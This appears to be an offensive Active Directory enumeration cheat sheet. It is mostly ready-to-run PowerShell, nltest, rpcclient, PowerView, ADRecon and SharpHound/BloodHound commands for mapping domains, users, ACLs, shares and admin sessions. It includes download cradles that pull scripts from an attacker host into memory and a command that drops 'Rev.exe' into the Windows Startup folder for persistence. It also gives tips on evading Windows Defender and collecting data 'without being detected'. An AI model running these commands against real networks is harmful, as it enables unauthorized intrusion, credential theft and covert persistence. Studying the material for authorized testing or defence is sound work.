Low-privilege enumeration with powershell < v5 (No Admin Rights)
From Powershell version 5 onwards these commands only work with Admin rights.
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
# find AD hosts
get-adcomputer -filter {PrimaryGroupID -eq '515'}
# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain
# get DC for currently authenticated session
nltest /dsgetdc:offense.local
# get domain trusts from cmd shell
nltest /domain_trusts
# get user info
nltest /user:"spotless"
# get DC for currently authenticated session
set l
# get domain name and DC the user authenticated to
klist
# get all logon sessions. Includes NTLM authenticated sessions
klist sessions
# kerberos tickets for the session
klist
# cached krbtgt
klist tgt
# whoami on older Windows systems
set u
# find DFS shares with ADModule
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name
# find DFS shares with ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}
# check if spooler service is running on a host
powershell ls "\\dc01\pipe\spoolss"
Network Enumerating
If you just have access to an AD environment but you don't have any credentials/sessions.
Check for null and Guest Access on SMB Services
for old versions of windows, probably wont find it anymore.
A lot of information on an AD domain can be obtained through LDAP. Most of the information can only be obtained with an authenticated bind but metadata (naming contexts, dns server name, domain functional level) can be obtainable anonymously, even with anonymous binding disabled.
LDAP anonymous binding is usually disabled but it's worth checking.
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
ldapdomaindump -u DOMAIN\\username -p password -d domain.local
Find systems with SMB signing disabled
Can use these systems for SMB relay later on.
By default, windows servers and domain controllers a have this enabled but its disabled by default on workstations.
get-netshare
get-dfsshare
get-netfileserver
#Enumerate Domain Shares
Find-DomainShare
#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess (powrview)
#Enumerate "Interesting" Files on accessible shares
Find-InterestingDomainShareFile -Include *passwords*
Enum DHCP
When connecting a computer to most enterprise networks, if the Dynamic Host Configuration Protocol (DHCP) is enabled, it will assign an IP address to that computer, and send a lot of information. Nameservers and domain names are usually set through DHCP offer packets. On UNIX-like systems, the /etc/resolv.conf file will store information for name resolution operations after the DHCP offer.
nmap --script broadcast-dhcp-discover
In many cases, there will be MAC address filtering, static IP addressing, VLANs or NAC (Network Access Control) that can prevent testers from obtaining this information. In those situations, wireshark can be used to manually inspect broadcast and multicast packets that travel on the network and find valuable information that could help bypass those mitigation.
We can also spoof a fake DHCP or DHCPv6 server and capture some password hashes.
Enum MSRPC
MS-RPC (Microsoft Remote Procedure Call) is a protocol that allows requesting service from a program on another computer without having to understand the details of that computer's network. An MS-RPC service can be accessed through different transport protocols, among which:
a network SMB pipe (listening ports are 139 & 445)
plain TCP or plain UDP (listening port set at the service creation)
a local SMB pipe
RPC services over an SMB transport, i.e. port 445/TCP, are reachable through "named pipes"' (through the IPC$ share). There are many interesting named pipes that allow various operations from NULL sessions context, to local administrative context.
Find exposed services
The epmapper (MS-RPC EndPoint Mapper) maps services to ports. It uses port 135/TCP and/or port 593/TCP (for RPC over HTTP).
# with rpcdump.py (example with target port 135/TCP)
rpcdump.py -port 135 $TARGET_IP
# with rpcdump.exe (example with target port 593/TCP)
rpcdump.exe -p 593 $TARGET_IP
Null sessions
NULL sessions are unauthenticated SMB sessions that allow attackers to operate RPC calls through SMB named pipes without being authenticated first. This allows for many recon techniques like the enumeration of domain and local information (users, groups, RIDs, SIDs, policies, etc.)
Recon through interesting named pipes
The Samba utility named rpcclient can be used to operate recon through MS-RPC services behind SMB named pipes. It offers multiple useful commands.
lsaquery: get domain name and SID (Security IDentifier)
enumalsgroups builtin: list local groups, returns RIDs (Relative IDs)
queryaliasmem <RID>: list local group members, returns SIDs
lookupsids <SID>: resolve SID to name
lookupnames <NAME>: resolve name to SID
enumdomusers: list users, equivalent to net user /domain
enumdomgroups: list groups equivalent to net group /domain
queryuser <rid/name>: obtain info on a user, equivalent to net user <user> /domain
querygroupmem <rid>: obtain group members, equivalent to net group <group> /domain
getdompwinfo: get password policy
# example
rpcclient -c "command1,command2" $TARGET_IP
RID Cycling
RID Cycling is a method that allows attackers to enumerate domain objects by bruteforcing or guessing RIDs and SIDs, based on the fact that RIDs are sequential.
The Python ridenum script can be used to operate that recon technique, with a Null session or with an authenticated one.
impacket can also be used to cycle through a number of RIDs with credentials and enumerate all the users.
Enum DNS
AD-DS (Active Directory Domain Services) rely on DNS SRV RR (service location resource records). Those records can be queried to find the location of some servers: the global catalog, LDAP servers, the Kerberos KDC and so on.
dnsutil
nslookup is a DNS client that can be used to query SRV records. It usually comes with the dnsutil package.
# find the PDC (Principal Domain Controller)
nslookup -type=srv _ldap._tcp.pdc._msdcs.$FQDN_DOMAIN
β
# find the DCs (Domain Controllers)
nslookup -type=srv _ldap._tcp.dc._msdcs.$FQDN_DOMAIN
β
# find the GC (Global Catalog, i.e. DC with extended data)
nslookup -type=srv gc._msdcs.$FQDN_DOMAIN
β
# Other ways to find services hosts that may be DCs
nslookup -type=srv _kerberos._tcp.$FQDN_DOMAIN
nslookup -type=srv _kpasswd._tcp.$FQDN_DOMAIN
nslookup -type=srv _ldap._tcp.$FQDN_DOMAIN
for creating an opsec-safe downloader and obfuscator check out:
In some cases windows defender will be triggered if you try to load scripts from known public sources such as github so its better if you host the script on your own machine or somewhere else.
Download Files
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"
for more file transfer techniques, check out this section.
git clone https://github.com/ropnop/windapsearch.git
apt install python3-ldap
# enute the AD with credentials via WPAD
python3 windapsearch.py -d megabank.local -u megabank\\Administrator -p "letmein.123" --dc-ip 192.168.56.103 -U -o output
# other options:
--functionality Enumerate Domain Functionality level. Possible through anonymous bind
-G, --groups Enumerate all AD Groups
-U, --users Enumerate all AD Users
-PU, --privileged-users
Enumerate All privileged AD Users. Performs recursive lookups for nested members.
-C, --computers Enumerate all AD Computers
-m GROUP_NAME, --members GROUP_NAME
Enumerate all members of a group
--da Shortcut for enumerate all members of group 'Domain Admins'. Performs recursive
lookups for nested members.
--admin-objects Enumerate all objects with protected ACLs (i.e. admins)
--user-spns Enumerate all users objects with Service Principal Names (for kerberoasting)
--unconstrained-users
Enumerate all user objects with unconstrained delegation
--unconstrained-computers
Enumerate all computer objects with unconstrained delegation
--gpos Enumerate Group Policy Objects
-s SEARCH_TERM, --search SEARCH_TERM
Fuzzy search for all matching LDAP entries
-l DN, --lookup DN Search through LDAP and lookup entry. Works with fuzzy search. Defaults to printing
all attributes, but honors '--attrs'
--custom CUSTOM_FILTER
Perform a search with a custom object filter. Must be valid LDAP filter syntax
# host the script & load in memory
# from powershell:
iex (New-Object Net.WebClient).DownloadString('http://192.168.56.1/PowerView.ps1')
pwoe
# from cmd:
powershell -command iex (New-Object Net.WebClient).DownloadString('http://192.168.56.1/PowerView.ps1')
PowerView Cheat Sheet
# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn
# Get all computers in the current domain
Get-DomainComputer
# Get all domains in current forest
Get-ForestDomain
# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust
# Get information for the DA group
Get-DomainGroup "Domain Admins"
# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername
# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess
# Get OUs for current domain
Get-DomainOU -FullData
# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname
# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers
# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier
# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier
# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights
# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
git clone https://github.com/sense-of-security/ADRecon.git
# run ADRecon on a domain member host
.\ADRecon.ps1
# run ADRecon on a domain member host as a different user.
.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
# run ADRecon on a non-member host using LDAP
.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>
# run ADRecon with specific modules on a non-member host with RSAT. (Default OutputType is STDOUT with -Collect parameter)
.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domain, DomainControllers
# generate the ADRecon-Report.xlsx based on ADRecon output (CSV Files).
.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>
When you run ADRecon, a ADRecon-Report-<timestamp> folder will be created which will contain ADRecon-Report.xlsx and CSV-Folder with the raw files.
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
# with the newer version of bloodhound.ps1
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV
Then import the zip/json files into the Neo4J database and query them.
root@payload$ apt install bloodhound
# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
we can use the exe version without argument and get the same output. download and extract it and upload all files in bloodhound UI.
this will dump all domain info to the attackers machine remotely without being detected but you need to have the credentials for at least a low-privilege user in the domain.
Domain & System Info
Domain Info
Get-NetDomain
get-netforest
get-netforestdomain
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
# or
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
#Finds all machines on the current domain where the current user has local admin access
Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose
#Find computers were a Domain Admin OR a spesified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth
#Confirming admin access:
Invoke-UserHunter -CheckAccess
Get all the groups in the current domain PowerView
Get-NetGroup
Get-NetGroup *admin*
Enum Group Policies
Get-NetGPO
# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup
#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
others options:
#Get a spesific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"
#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>
#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>
#Enumerate domain machines of the current/specified domain where specific users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
Enum OUs
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
Enum ACLs
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"